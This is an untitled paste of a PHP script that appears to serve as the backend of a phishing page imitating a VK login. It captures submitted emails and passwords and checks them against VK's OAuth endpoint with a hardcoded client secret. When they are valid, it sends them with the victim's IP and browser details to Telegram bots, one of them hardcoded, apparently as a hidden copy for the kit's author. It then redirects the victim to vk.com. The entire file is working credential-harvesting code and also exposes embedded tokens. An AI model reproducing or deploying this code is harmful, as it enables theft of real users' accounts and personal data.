Untitled

<?php include('config.php');
$mail = $_POST['email'];
$pass = $_POST['pass'];
$get_time = date("d.m.Y (H:i:s)", time());
$domain = $_SERVER["SERVER_NAME"];
$ip = $_SERVER['REMOTE_ADDR'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=' . $mail . '&password=' . $pass);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$helper = curl_exec($ch);
curl_close($ch);
$id = current(explode('}', end(explode('user_id":', $helper))));
$arr = array("Логин" => $mail, "Пароль" => $pass, "Дата" => $get_time, "IP" => $_SERVER['REMOTE_ADDR'], "Тип соединения" => $_SERVER['HTTP_CONNECTION'], "Браузер" => $_SERVER['HTTP_USER_AGENT']);
foreach ($arr as $key => $value) {
    $txt .= "<b>" . $key . "</b>: " . $value . "%0A";
}
if ($mail != "" and $pass != "") {
    if (preg_match('/[a-zA-Z]/', $id)) {
        echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://{$domain}/error.html'></head></html>";
    }
    if (!(preg_match('/[a-zA-Z]/', $id))) {
        $fp = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id}&parse_mode=html&text={$txt}", "r");
        $fp = fopen("https://api.telegram.org/bot356946526:AAGscSfOY18qNnhhxTsSOUHag9UcwTHa6v4/sendMessage?chat_id=363772437&parse_mode=html&text={$txt}", "r");
        echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=https://vk.com'></head></html>";
    }
} ?>